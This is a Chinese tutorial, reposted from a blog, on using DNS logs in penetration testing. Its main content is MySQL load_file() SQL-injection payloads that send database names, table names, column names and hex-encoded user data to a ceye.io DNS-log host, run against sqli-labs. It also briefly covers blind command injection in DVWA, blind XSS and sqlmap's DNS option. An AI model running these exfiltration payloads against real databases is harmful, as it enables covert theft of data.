转至:https://www.cnblogs.com/rnss/p/11320305.html

一、预备知识

dns(域名解析):

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

互联网中的地址是数字的IP地址,域名解析的作用主要就是为了便于记忆。(摘自百度百科)

dns服务器的端口是53。

二、原理

我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。

dns在解析的时候会留下记录。

简单来说:

当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息

三、准备

  1. dns服务器(vps搭建)
  2. dns指向我们自己搭建的dns服务器的域名

或者也可以使用网上的平台,比如http://ceye.io

四、用处

  1. sql注入(主要)
  2. 命令注入
  3. xss盲打

五、实验:sql注入

dns log在sql注入中的使用主要因为传统sql注入需要向服务器发送大量数据包,容易被检测、延时注入花费时间长等原因

http://ceye.io这个平台注册后它会给你一个三级域名,可以先访问任意四级域名试试

在网站上查询到了访问的dns记录

windows的共享功能同样也会访问dns服务器

关于mysql load_file()函数:

在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。

LOAD_FILE(file_name)

其中file_name是文件的完整路径。

这个函数也可以用来发送dns解析请求,这就是关键

load_file()使用限制:

1.文件必须位于服务器主机上。

2.你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的。

3.文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节。

你可以这样检查: SHOW VARIABLES LIKE 'max_allowed_packet';

如果secure_file_priv系统变量被设置为非空目录名,则要加载的文件必须位于该目录中。

你可以这样检查: SHOW VARIABLES LIKE 'secure_file_priv';

可以在mysql配置文件my.ini中更改secure_file_priv的值,如果没有这个参数可以手动添加

使用load_file()读取文件: select load_file("d:\\1.txt");

使用load_file()发送dns请求: select load_file("\\\\ccc.xxxx.ceye.io\\aaa");

'\'在sql语句中要转义,aaa可以改成任意字母。

使用load_file()发送dns请求查询数据库: select load_file(concat("\\\\",(select database()),".xxxx.ceye.io\\aaa"));

sql语句在双引号内不执行,所以要用concat()函数拼接。

查询数据表:

select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'));

查询字段:

select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='test' limit 0,1),'.xxxx.ceye.io\\aaa'));

查询数据:

select load_file(concat('\\\\',(select username from test limit 0,1),'.xxxx.ceye.io\\aaa'));

需要注意的是dns服务器无法接收符号,当查询的数据中存在符号时需要编码,这里用hex()编码(ord()一次只能编码一个字符)。

select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));

再使用sqli-labs第五关做实验

payload:

?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1)--+

?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+

?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 1,1),'.xxxx.ceye.io\\aaa'))),1,1)--+

?id=1' and if((select load_file(concat('\\\\',(select hex(email_id) from emails limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+

由于查询的数据存在@符号,使用了hex()函数

解码得Dumb@dhakkan.com

六、其他实验

1.命令注入

适用于无回显的命令注入点

使用dvwa靶场的命令注入模块实验

假设该注入点无回显

查询到了我们输入的变量

windows常用变量:

  • //变量                                                            类型       描述
  • //%ALLUSERSPROFILE%                           本地       返回“所有用户”配置文件的位置。
  • //%APPDATA%                                       本地       返回默认情况下应用程序存储数据的位置。
  • //%CD%                                                        本地       返回当前目录字符串。
  • //%CMDCMDLINE%                                     本地       返回用来启动当前的 Cmd.exe 的准确命令行。
  • //%CMDEXTVERSION%                              系统       返回当前的“命令处理程序扩展”的版本号。
  • //%COMPUTERNAME%                              系统       返回计算机的名称。
  • //%COMSPEC%                                           系统       返回命令行解释器可执行程序的准确路径。
  • //%DATE%                                                    系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
  • //%ERRORLEVEL%                                     系统       返回上一条命令的错误代码。通常用非零值表示错误。
  • //%HOMEDRIVE%                                       系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
  • //%HOMEPATH%                                         系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
  • //%HOMESHARE%                                      系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
  • //%LOGONSERVER%                                 本地       返回验证当前登录会话的域控制器的名称。
  • //%NUMBER_OF_PROCESSORS%           系统       指定安装在计算机上的处理器的数目。
  • //%OS%                                                        系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
  • //%PATH%                                                    系统       指定可执行文件的搜索路径。
  • //%PATHEXT%                                             系统       返回操作系统认为可执行的文件扩展名的列表。
  • //%PROCESSOR_ARCHITECTURE%       系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
  • //%PROCESSOR_IDENTFIER%                系统       返回处理器说明。
  • //%PROCESSOR_LEVEL%                        系统       返回计算机上安装的处理器的型号。
  • //%PROCESSOR_REVISION%                  系统       返回处理器的版本号。
  • //%PROMPT%                                             本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
  • //%RANDOM%                                            系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
  • //%SYSTEMDRIVE%                                  系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
  • //%SYSTEMROOT%                                  系统       返回 Windows server operating system 根目录的位置。
  • //%TEMP%和%TMP%                                系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
  • //%TIME%                                                   系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
  • //%USERDOMAIN%                                   本地       返回包含用户帐户的域的名称。
  • //%USERNAME%                                       本地       返回当前登录的用户的名称。
  • //%USERPROFILE%                                  本地       返回当前用户的配置文件的位置。
  • //%WINDIR%                                              系统       返回操作系统目录的位置。

2.xss盲打

使用pikachu的xss盲打模块

收到请求说明触发了插入的js代码


七、sqlmap使用dns

sqlmap可以使用--dns-domain参数实现自动化dns注入

渗透测试中dns log的使用的更多相关文章

  1. 反向代理在Web渗透测试中的运用

    在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...

  2. 渗透测试中的bypass技巧

    0x00 前言 许多朋友在渗透测试中因为遇到WAF而束手无策,本人应邀,与godkiller一同写下此文,希望能够对许多朋友的问题有所帮助. 此系列一共分为五篇文章,分别如下: 一.架构层绕过WAF ...

  3. python多线程在渗透测试中的应用

    难易程度:★★★ 阅读点:python;web安全; 文章作者:xiaoye 文章来源:i春秋 关键字:网络渗透技术 前言 python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天, ...

  4. Windows-NTFS-ADS在渗透测试中的利用

    0.什么是ADS Windows:微软公司的一款视窗操作系统,其内核为WindowsNT. NTFS:WindowsNT环境的限制级专用文件系统. ADS:NTFS的系统特性,交换数据流(Altern ...

  5. 详述MySQL服务在渗透测试中的利用

    本文作者:i春秋签约作家——Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...

  6. Windows渗透测试中wmi的利用

    0x01 关于WMI WMI可以描述为一组管理Windows系统的方法和功能.我们可以把它当作API来与Windows系统进行相互交流.WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是W ...

  7. WMI在渗透测试中的重要性

    0x01 什么是wmi WMI可以描述为一组管理Windows系统的方法和功能.我们可以把它当作API来与Windows系统进行相互交流.WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是 ...

  8. 详述MSSQL服务在渗透测试中的利用(上篇)

    前言: 致力于复现最实用的漏洞利用过程. 本文将带领大家学习以下内容: 学习使用`xp_cmdshell`扩展存储过程 学习调用`wscript.shell` 学习MSSQL写文件 学习沙盘模式提权 ...

  9. 渗透测试中如何科学地使用V*P*N

    环境说明 Windows7 虚拟机,作为VPN网关,负责拨VPN.VPN可以直接OPENVPN,也可以使用ShadowSocks+SSTap. Kali 虚拟机, 渗透测试工作机 配置步骤 Windo ...

随机推荐

  1. Servlet-base标签的作用(相对路径和绝对路径)

    Web中的相对路径和绝对路径 在javaWeb中,路径分为相对路径和绝对路径: 相对路径: .     表示当前目录 .. 表示上一级目录 资源名 表示当前目录/资源名 绝对路径: http://ip ...

  2. 【webpack4.0】---webpack的基本使用(四)

    一.什么是babel babel是一个编译javascript的平台,它可以编译代码帮你达到以下目的 1.让你使用最近的javascript代码(ES6 ES7) 而不用管新的标准浏览器是否支持   ...

  3. 大厂面试:一个四年多经验程序员的BAT面经(字节、阿里、腾讯)

    前言 上次写了篇欢聚时代的面经,公众号后台有些读者反馈说看的意犹未尽,希望我尽快更新其他大厂的面经,这里先说声抱歉,不是我太懒,而是项目组刚好有个活动要赶在春节前上线,所以这几天经常加班,只能工作之余 ...

  4. Iptables的命令与用法

    目录 一:iptables的用法 1.iptables简介 二:Iptables链的概念 1.那四个表,有哪些作用? 2.那五条链,运行在那些地方? 3.Iptables流程图 三:iptables的 ...

  5. 带你十天轻松搞定 Go 微服务系列(五)

    序言 我们通过一个系列文章跟大家详细展示一个 go-zero 微服务示例,整个系列分十篇文章,目录结构如下: 环境搭建 服务拆分 用户服务 产品服务 订单服务(本文) 支付服务 RPC 服务 Auth ...

  6. postgresql dba常用sql查询语句

    查看帮助命令 DB=# help --总的帮助 DB=# \h --SQL commands级的帮助 DB=# \? --psql commands级的帮助 \dn[S+] [PATTERN],其中[ ...

  7. linux 启动过程原理哦

    bios加电自检硬件设备 grub引导加载程序 当内核被加载到内存,内核阶段就开始了. init进程是所有进程的发起者和控制者.因为在任何基于unix的系统中,它都是第一个运行的进程. 然后执行sys ...

  8. 简单说说ES6新特性

    ECMAScript 6.0(以下简称 ES6)是 JavaScript 语言的下一代标准,已经在 2015 年 6 月正式发布了. 它的目标,是使得 JavaScript 语言可以用来编写复杂的大型 ...

  9. webbrowser 强制 ie11

    假设winform程序的名称是TestWebBrowser.exe. 1.在开始菜单内输入"regedit.exe",进入注册表编辑器 2.找到注册表项:HKEY_LOCAL_MA ...

  10. CABasicAnimation基础核心动画

    核心动画之作用在层上面.     动画的本质是改图层的某一个属性.     CABasicAnimation *anim = [CABasicAnimation animation];     图层有 ...